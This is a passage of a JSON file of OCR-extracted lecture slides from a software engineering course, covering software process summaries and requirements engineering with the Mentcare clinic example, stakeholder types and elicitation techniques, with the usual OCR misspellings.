| "text": "SOETWARE PROJECT DOCUMENTATION Activity Document Validation & Verification SVVP - Software Validation & Verification Plan Quality Assurance SQAP - Software Quality Assurance Plan Configuration SCMP - Software Configuration Management Plan Project status SPMP - Software Project Management Plan Requirements SRS - Software Requirements Specifications Design SDD - Software Design Document / Software Detail Design Document Code Source Code Testing STD - Software Test Document Operation User's Manual BK TP.HCM Spring 2025 CHAPTER 2. SOFTWARE PROCESSES 43", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_2/slide_043.png", |
| "page_index": 68, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:45:18+07:00" |
| } |
| }, |
| "CO3001-chapter-2-slide-069-0000": { |
| "id": "CO3001-chapter-2-slide-069-0000", |
| "text": "SUMMARY Software processes waterfall, incremental development, reuse-oriented development. Fundamental activities: Requirements engineering: developing specification. Design and implementation: transforming a requirements specification into an executable software system Software validation: checking that the system conforms to its specification. Software evolution: change existing software systems to meet new requirements BK Spring 2025 CHAPTER 2.SOFTWARE PROCESSES 44 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_2/slide_044.png", |
| "page_index": 69, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:45:22+07:00" |
| } |
| }, |
| "CO3001-chapter-2-slide-070-0000": { |
| "id": "CO3001-chapter-2-slide-070-0000", |
| "text": "SUMMARY (CONT.) V Coping with change prototyping iterative development and delivery Process improvement agile approaches, geared to reducing process overheads, maturity-based approaches based on better process management and the use of good software engineering practice. The SEl process maturity framework (CMM) - identifies maturity levels that essentially correspond to the use of good software engineering practice. BK Spring 2025 CHAPTER 2.SOETWAREPROCESSES 45 TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_2/slide_045.png", |
| "page_index": 70, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:45:27+07:00" |
| } |
| }, |
| "CO3001-chapter-3-slide-071-0000": { |
| "id": "CO3001-chapter-3-slide-071-0000", |
| "text": "SOFTWARE ENGINEERING CO3001 CHAPTER 3 - REQUIREMENTS ENGINEERING Anh Nguyen-Duc Tho Quan Thanh BK TP.HCM Adapted from https://iansommerville.com/software-engineering-book/slides/", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_3/slide_001.png", |
| "page_index": 71, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:45:30+07:00" |
| } |
| }, |
| "CO3001-chapter-3-slide-072-0000": { |
| "id": "CO3001-chapter-3-slide-072-0000", |
| "text": "TOPICS COVERED V Course's project Functional and non-functional requirements Requirements engineering processes Requirements elicitation Requirements specification Requirement in Agile Requirements validation Requirements change CHAPTER 4.REQUIREMENTS ENGINEERING 2", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_3/slide_002.png", |
| "page_index": 72, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:45:34+07:00" |
| } |
| }, |
| "CO3001-chapter-3-slide-073-0000": { |
| "id": "CO3001-chapter-3-slide-073-0000", |
| "text": "TOPICS COVERED V Course's project Functional and non-functional requirements Requirements engineering processes Requirements elicitation Requirements specification Requirement in Agile Requirements validation Requirements change gep 2fR.K CHAPTER 4.REQUIREMENTS ENGINEERING 3", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_3/slide_003.png", |
| "page_index": 73, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:45:39+07:00" |
| } |
| }, |
| "CO3001-chapter-3-slide-074-0000": { |
| "id": "CO3001-chapter-3-slide-074-0000", |
| "text": "REQUIREMENTS CHAPTER 4. REQUIREMENTS ENGINEERING 4", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_3/slide_004.png", |
| "page_index": 74, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:45:41+07:00" |
| } |
| }, |
| "CO3001-chapter-3-slide-075-0000": { |
| "id": "CO3001-chapter-3-slide-075-0000", |
| "text": "EFFECTS OE I INADEOUATE REQUIREMENTS DEVELOPMENT -AIRBUS Reguirement: Reverse thrust may only be used when the airplane is landed Translation: Reverse thrust may only be used while the wheels are rotating Implementation: Reverse thrust may only be used while the wheels are rotating fast enough. Situation: Rainstorm - aquaplaning Result: Crash due to overshooting the runway! Problem: Erroneous in the requirement phase BK TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_3/slide_005.png", |
| "page_index": 75, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:45:46+07:00" |
| } |
| }, |
| "CO3001-chapter-3-slide-076-0000": { |
| "id": "CO3001-chapter-3-slide-076-0000", |
| "text": "The Ariane Single root cause failure! The \"bug\": attitude deviation stored as 2-byte integer (max value 65,535) instead of 4-byte (max vaue 4,294,967,295) SW module was reused from Ariane 4 Insufficient V&V of detailed requirements: larger attitude deviation tolerated in Ariane 5 than in Ariane 4 Ariane 5 production cost 1o years and $7 billion; Iuckily, no victims because it was unmanned. ARIANE5 65,535 = 00000000 00000000 11111111 11111111 65,536 = 00000000 00000001 00000000 00000000 BK TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_3/slide_006.png", |
| "page_index": 76, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:45:51+07:00" |
| } |
| }, |
| "CO3001-chapter-3-slide-077-0000": { |
| "id": "CO3001-chapter-3-slide-077-0000", |
| "text": "OTHER SOFTWARE RELATED ACCIDENTS & INCIDENTS Accidents & incidents Alarm flooding, power distribution failure, BP Grangemouth Scotland, 2gth May - 1oth June 2000 failure in a data bus + faulty logic in the software => engine power loss, Airbus A340-642, 2005 failed accelerometer + software bug => Faulty airspeed metering, Boeing 777 200, 2005 Software bug => shutdown of radio communication between ATC and Korean Air 747 in Guam aircraft, 2004. disrupted 8oo flights 200 deaths (1997): Safety-related software flaws => recall of 200,000 pacemakers in 1990-2000 incorrect configuration of 'minimum altitude\" warning radiotherapy machines attacked by computer viruses, 2oo5 system Buggy software incorporate computer + connection between corporate and control systems networks => shutdown of the nuclear power plant, USA 2008 Many software failures are actually \"bugs\" in the detailed requirement specifications, i.e., poor understanding of the very detailed requirements BK TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_3/slide_007.png", |
| "page_index": 77, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:45:58+07:00" |
| } |
| }, |
| "CO3001-chapter-3-slide-078-0000": { |
| "id": "CO3001-chapter-3-slide-078-0000", |
| "text": "How the customer How the projectleader How the engineer Howtheprogrammer How the sales explained it understoodit designed it wrote it executive describedit How the project was Whatoperations How the customer How the helpoesk What the customer documented installed wasbilled supported it really needec CHAPTER 4.REQUIREMENTS ENGINEERING 8", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_3/slide_008.png", |
| "page_index": 78, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:46:03+07:00" |
| } |
| }, |
| "CO3001-chapter-3-slide-079-0000": { |
| "id": "CO3001-chapter-3-slide-079-0000", |
| "text": "Reguirement engineering = establishing the services that the WHAT IS A REQUIREMENT? customer requires from a system and the constraints under which it operates and is developed Requirement = the descriptions of the system services and constraints It may range from a high-level abstract statement to a detailed mathematical functional specification May serve a dual function The basis for a bid for a contract - must be open to interpretationj The basis for the contract itself - must be in detail; Sep 2dB.K CHAPTER 4.REQUIREMENTS ENGINEERING", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_3/slide_009.png", |
| "page_index": 79, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:46:08+07:00" |
| } |
| }, |
| "CO3001-chapter-3-slide-080-0000": { |
| "id": "CO3001-chapter-3-slide-080-0000", |
| "text": "TOPICS COVERED Course's project - UWC 2.0 Functional and non-functional requirements Requirements engineering processes Requirements elicitation Requirements specification Requirements validation Requirements change CHAPTER 4.REQUIREMENTS ENGINEERING 10", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_3/slide_010.png", |
| "page_index": 80, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:46:11+07:00" |
| } |
| }, |
| "CO3001-chapter-3-slide-081-0000": { |
| "id": "CO3001-chapter-3-slide-081-0000", |
| "text": "MENTCARE SYSTEM Mentcare (Medical practice management system): manages the day-to-day operations of a clinic, such as appointment scheduling, billing and other administrative tasks. All A cat desc Qty/ Released/ Par Current Par Par 5 Cat# Catalog Description Item# Description Purchased Unit Qty Unit Due Max Stock Min Critical 2 202407387 AMLODIPINE 51079045120 AMLODIPINE 2.0000 100 200.0000 TA 0 27/27 0 BESYLATE SMG BESYLATE 5 MG TA 2 0 (NORVASCTABU/D; TAB 100/BOX 3 202407388 AMLODIPINE 00054010220 AMLODIPINE 1.0000 100 100.0000 TA 0 274/275 0 BESYLATE10MG BESYLATE10 MG TA 1 0 (NORVASCTABU/D; TAB 100/BOX 4 200805780 AMOXICILLIN CAP 00093310993 AMOXICILLIN 500 2.0000 100 200.0000 CA 0 186/188 0 500MGU/D100/BOX MG CAPSULE CA 2 0 5 202801738 ASPIRINECTAB81MG 63739027201 ASPIRINEC81MG 1.0000 750 750.0000 TE 0 172/173 0 U/D25X30750/BOX TABLET TE 1 0 8 201202229P BENZTROPINE 00904105661 BENZTROPINE MES 1.0000 100 100.0000 TA 0 104/104 0", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_3/slide_011.png", |
| "page_index": 81, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:46:23+07:00" |
| } |
| }, |
| "CO3001-chapter-3-slide-082-0000": { |
| "id": "CO3001-chapter-3-slide-082-0000", |
| "text": "MENTCARE SYSTEM Mentcare (Medical practice management system): manages the day-to-day operations of a clinic, such as appointment scheduling, billing and other administrative tasks. Register Export o patient statistics oH View Manager Generate Medical receptionist personal info report View record Q Nurse Doctor Edit record Setup consultation JUIREMENTS ENGINEERING 12", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_3/slide_012.png", |
| "page_index": 82, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:46:28+07:00" |
| } |
| }, |
| "CO3001-chapter-3-slide-083-0000": { |
| "id": "CO3001-chapter-3-slide-083-0000", |
| "text": "FUNCTIONAL AND NON-EUNCTIONAL REQUIREMENTS Functional requirements Statements of services the system should provide, how the system should react to particular inputs and how the system should behave in particular situations. May state what the system should not do. Non-functional requirements Constraints on the services or functions offered by the system such as timing constraints, constraints on the development process, standards, etc. Often apply to the system as a whole rather than individual features or services. Domain reguirements Constraints on the system from the domain of operation Sep 2dB.K CHAPTER 4.REQUIREMENTSENGINEERING 13", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_3/slide_013.png", |
| "page_index": 83, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:46:33+07:00" |
| } |
| }, |
| "CO3001-chapter-3-slide-084-0000": { |
| "id": "CO3001-chapter-3-slide-084-0000", |
| "text": "FUNCTIONAL REQUIREMENTS Describe functionality or system services. Functional user requirements may be high-level statements of what the system should do. Functional system requirements should describe the system services in detail. CHAPTER 4.REQUIREMENTS ENGINEERING 14", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_3/slide_014.png", |
| "page_index": 84, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:46:36+07:00" |
| } |
| }, |
| "CO3001-chapter-3-slide-085-0000": { |
| "id": "CO3001-chapter-3-slide-085-0000", |
| "text": "MENTCARE SYSTEM: FUNCTIONAL REQUIREMENTS clinics. The system shall generate each day, for each clinic, a list of patients who are expected to attend appointments that day. Each staff f member using the system shall be uniquely identified by his or her 8-digit employee number. Sep 2dB.K CHAPTER 4.REQUIREMENTS ENGINEERING 15", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_3/slide_015.png", |
| "page_index": 85, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:46:40+07:00" |
| } |
| }, |
| "CO3001-chapter-3-slide-086-0000": { |
| "id": "CO3001-chapter-3-slide-086-0000", |
| "text": "NON-FUNCTIONAL REQUIREMENTS Properties: reliability, response time and storage requirements. Constraints: I/O device capability, system representations, etc. Non-functional requirements may be more critical than functional requirements. If these are not met, the system may be useless. Sep 2dB.K CHAPTER 4.REQUIREMENTS ENGINEERING 16", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_3/slide_016.png", |
| "page_index": 86, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:46:43+07:00" |
| } |
| }, |
| "CO3001-chapter-3-slide-087-0000": { |
| "id": "CO3001-chapter-3-slide-087-0000", |
| "text": "NON-EUNCTIONAL REQUIREMENTS IMPLEMENTATION of a system rather than the individual components cross-cutting concern A single non-functional requirement and may also generate requirements that restrict existing requirements. CHAPTER 4.REQUIREMENTS ENGINEERING 17", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_3/slide_017.png", |
| "page_index": 87, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:46:47+07:00" |
| } |
| }, |
| "CO3001-chapter-3-slide-088-0000": { |
| "id": "CO3001-chapter-3-slide-088-0000", |
| "text": "NON-EUNCTIONAL CLASSIEICATIONS Product requirements Requirements which specify that the delivered product must behave in a particular way e.g. execution speed, reliability, etc. 7 C Organisational requirements Requirements which are a consequence of organisational policies and etc. External requirements Requirements which arise from factors which are external to the system and its development process e.g. interoperability requirements, legislative requirements, etc. Sep 2dB.K CHAPTER 4.REQUIREMENTS ENGINEERING 18", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_3/slide_018.png", |
| "page_index": 88, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:46:52+07:00" |
| } |
| }, |
| "CO3001-chapter-3-slide-089-0000": { |
| "id": "CO3001-chapter-3-slide-089-0000", |
| "text": "EXAMPLES OE NONEUNCTIONAL REQUIREMENTS IN THE MENTCARE SYSTEM Product requirement hours (Mon-Fri, 0830-17.30). Downtime within normal working hours shall not exceed five seconds in any one day. Organizational requirement Users of the Mentcare system shall authenticate themselves using their health authority identity card. External requirement The system shall implement patient privacy provisions as set out in HStan-03- 2006-priv. Sep 2dB.K CHAPTER 4.REQUIREMENTSENGINEERING 19", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_3/slide_019.png", |
| "page_index": 89, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:46:56+07:00" |
| } |
| }, |
| "CO3001-chapter-3-slide-090-0000": { |
| "id": "CO3001-chapter-3-slide-090-0000", |
| "text": "TYPES OE REQUIREMENT Requirements definition - A statement in natural language plus diagrams of the services the Requirements specification A structured document setting out detailed descriptions of the system services. Written as a contract between client and contractor Software specification - A detailed software description which can serve as a basis for a design or implementation. Written for developers Sep 2dB.K CHAPTER 4.REQUIREMENTSENGINEERING 20", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_3/slide_020.png", |
| "page_index": 90, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:47:00+07:00" |
| } |
| }, |
| "CO3001-chapter-3-slide-091-0000": { |
| "id": "CO3001-chapter-3-slide-091-0000", |
| "text": "GOALS VS.REQUIREMENTS Goal usually high-level and describe the desired end result of a project Often less volatile Requirements are often Concrete Measureable Testable CHAPTER 4.REQUIREMENTSENGINEERING 21", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_3/slide_021.png", |
| "page_index": 91, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:47:04+07:00" |
| } |
| }, |
| "CO3001-chapter-3-slide-092-0000": { |
| "id": "CO3001-chapter-3-slide-092-0000", |
| "text": "GOALS VS. REQUIREMENTS (CONT.) Goal: The system should be easy to use by medical staff Non-functional requirement: Medical staff shall be able to use all the system functions after four hours of training CHAPTER 4.REQUIREMENTSENGINEERING 22", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_3/slide_022.png", |
| "page_index": 92, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:47:08+07:00" |
| } |
| }, |
| "CO3001-chapter-3-slide-093-0000": { |
| "id": "CO3001-chapter-3-slide-093-0000", |
| "text": "SYSTEM STAKEHOLDERS Any person or organization who is affected by the system in some way and so who has a legitimate interest Stakeholder types End users System managers External stakeholders CHAPTER 4.REQUIREMENTSENGINEERING 23", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_3/slide_023.png", |
| "page_index": 93, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:47:11+07:00" |
| } |
| }, |
| "CO3001-chapter-3-slide-094-0000": { |
| "id": "CO3001-chapter-3-slide-094-0000", |
| "text": "STAKEHOLDERS IN THE MENTCARE SYSTEM Stakeholder Why? - Role Patients whose information is recorded in the system Doctors responsible for assessing and treating patients Nurses coordinate the consultations with doctors and administer some treatments Medical manage patients' appointments receptionists lT staff responsible for installing and maintaining the system Medical ethics ensure that the system meets current ethical guidelines for patient manager care Health care obtain management information from the system managers Medical records responsible for ensuring that system information can be staff maintained and preserved, and that record keeping procedures have been properly implemented. sep 2dB.K CHAPTER 4.REQUIREMENTS ENGINEERING 24", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_3/slide_024.png", |
| "page_index": 94, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:47:17+07:00" |
| } |
| }, |
| "CO3001-chapter-3-slide-095-0000": { |
| "id": "CO3001-chapter-3-slide-095-0000", |
| "text": "TOPICS COVERED Course's project UWC 2.0 Functional and non-functional requirements Requirements engineering processes Requirements elicitation Requirements specification Requirements validation Requirements change CHAPTER 4.REQUIREMENTS ENGINEERING 25", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_3/slide_025.png", |
| "page_index": 95, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:47:20+07:00" |
| } |
| }, |
| "CO3001-chapter-3-slide-096-0000": { |
| "id": "CO3001-chapter-3-slide-096-0000", |
| "text": "REQUIREMENTS ENGINEERING PROCESSES Mosern AnalysT Generic activities common to all processes Requirements elicitation; E Requirements analysis; EEER Requirements validation; Requirements management. 'The client kept changing the requirements on a daily basis, so we decided to freeze them until the next release. Sep 2dB.K CHAPTER 4.REQUIREMENTS ENGINEERING 26", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_3/slide_026.png", |
| "page_index": 96, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:47:26+07:00" |
| } |
| }, |
| "CO3001-chapter-3-slide-097-0000": { |
| "id": "CO3001-chapter-3-slide-097-0000", |
| "text": "A TYPICAL VIEW OE THE PROCESS Requirements Feasibility elicitation and study analysis Reguirements Feasibility specification report System's Reguirements models validation User and system reguirements Requirements Documents BK TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_3/slide_027.png", |
| "page_index": 97, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:47:30+07:00" |
| } |
| }, |
| "CO3001-chapter-3-slide-098-0000": { |
| "id": "CO3001-chapter-3-slide-098-0000", |
| "text": "A SPIRAL VIEW OF THE PROCESS Requirements specification System requirements specification and modeling User requirements specification Business requirements specification Start Feasibility System study Requirements req. Requirements elicitation elicitation User validation requirements elicitation Prototyping Reviews System requirements document CHAPTER 4.REQUIREMENTS ENGINEERING 28", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_3/slide_028.png", |
| "page_index": 98, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:47:35+07:00" |
| } |
| }, |
| "CO3001-chapter-3-slide-099-0000": { |
| "id": "CO3001-chapter-3-slide-099-0000", |
| "text": "TOPICS COVERED Course's project - UWC 2.0 Functional and non-functional requirements Requirements engineering processes Requirements elicitation Requirements specification Requirements validation Requirements change jep 2K CHAPTER 4.REQUIREMENTS ENGINEERING 29", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_3/slide_029.png", |
| "page_index": 99, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:47:39+07:00" |
| } |
| }, |
| "CO3001-chapter-3-slide-100-0000": { |
| "id": "CO3001-chapter-3-slide-100-0000", |
| "text": "REQUIREMENTS ELICITATION AND ANALYSIS Work with customers to find out: the application domain, the services and the operational constraints (system performance, hardware constraints, etc.). May invove end-users, managers, engineers involved in maintenance, domain experts, trade unions, etc. These are called stakeholders. CHAPTER 4.REQUIREMENTS ENGINEERING 30", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_3/slide_030.png", |
| "page_index": 100, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:47:42+07:00" |
| } |
| }, |
| "CO3001-chapter-3-slide-101-0000": { |
| "id": "CO3001-chapter-3-slide-101-0000", |
| "text": "PROBLEMS OE REQUIREMENTS ELICITATION Stakeholders don't know what they really want. Different stakeholders may have conflicting requirements. Organisational and political factors may influence the system requirements. The requirements change during the analysis process. Sep 2dB.K CHAPTER 4.REQUIREMENTS ENGINEERING 31", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_3/slide_031.png", |
| "page_index": 101, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:47:46+07:00" |
| } |
| }, |
| "CO3001-chapter-3-slide-102-0000": { |
| "id": "CO3001-chapter-3-slide-102-0000", |
| "text": "THE REQUIREMENTS ELICITATION AND ANALYSIS PROCESS Interacting with stakeholders to 1. Requirements discover their Requirements are Discovery documented and input requirements. into the next round 2. Requirements 4.Requirements Classification and Specification Organization Groups related reguirements and organises Prioritising 3. Requirements them into Prioritizationand requirements and coherent Negotiation resolving conflicts clusters CHAPTER 4.REQUIREMENTSENGINEERING 32", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_3/slide_032.png", |
| "page_index": 102, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:47:51+07:00" |
| } |
| }, |
| "CO3001-chapter-3-slide-103-0000": { |
| "id": "CO3001-chapter-3-slide-103-0000", |
| "text": "REQUIREMENTS DISCOVERY To gather information about the required and existing systems and distil the user and system requirements from this information. Main concerns: Stakeholders Discovery techniques/approaches/.. CHAPTER 4.REQUIREMENTSENGINEERING 33", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_3/slide_033.png", |
| "page_index": 103, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:47:55+07:00" |
| } |
| }, |
| "CO3001-chapter-3-slide-104-0000": { |
| "id": "CO3001-chapter-3-slide-104-0000", |
| "text": "DISCOVERY TECHNIQUE - INTERVIEWING TIX Part of most RE processes. Types of interview Closed vs Open => mixed? Be effective Be open-minded, avoid pre-conceived ideas about the requirements and are willing to listen to stakeholders. Prompt the interviewee to get discussions going using a springboard question, a requirements proposal, or by working together on a prototype system. CHAPTER 4.REQUIREMENTSENGINEERING 34", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_3/slide_034.png", |
| "page_index": 104, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:48:00+07:00" |
| } |
| }, |
| "CO3001-chapter-3-slide-105-0000": { |
| "id": "CO3001-chapter-3-slide-105-0000", |
| "text": "DISCOVERY TECHNIQUE - ETHNOGRAPHY 71 Observational technique used to understand operational processes and help derive support requirements for these processes How A social scientist spends a considerable time observing and analysing how people actually work. People do not have to explain or articulate their work. Social and organisational factors of importance may be observed. CHAPTER 4.REQUIREMENTSENGINEERING 35", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
| "source_file": "/workspace/data/converted/CO3001_Software_Engineering/Chapter_3/slide_035.png", |
| "page_index": 105, |
| "language": "en", |
| "ocr_engine": "PaddleOCR 3.2", |
| "extractor_version": "1.0.0", |
| "timestamp": "2025-10-31T12:48:04+07:00" |
| } |
| }, |
| "CO3001-chapter-3-slide-106-0000": { |
| "id": "CO3001-chapter-3-slide-106-0000", |
| "text": "REQUIREMENT ELICITATION TECHNIQUES analysis analysis rtace groups kshops in stem Interviews Do Mass-market software x x x Internal corporate software x x X x X x Replacing existing system x x x x x Enhancing existing system x X x x New application x x X Packaged software implementation X X x x X Embedded systems x x X x Geographically distributed stakeholders x x Suggested elicitation techniques by project characteristics BK TP.HCM", |
| "metadata": { |
| "doc_type": "slide", |
| "course_id": "CO3001", |
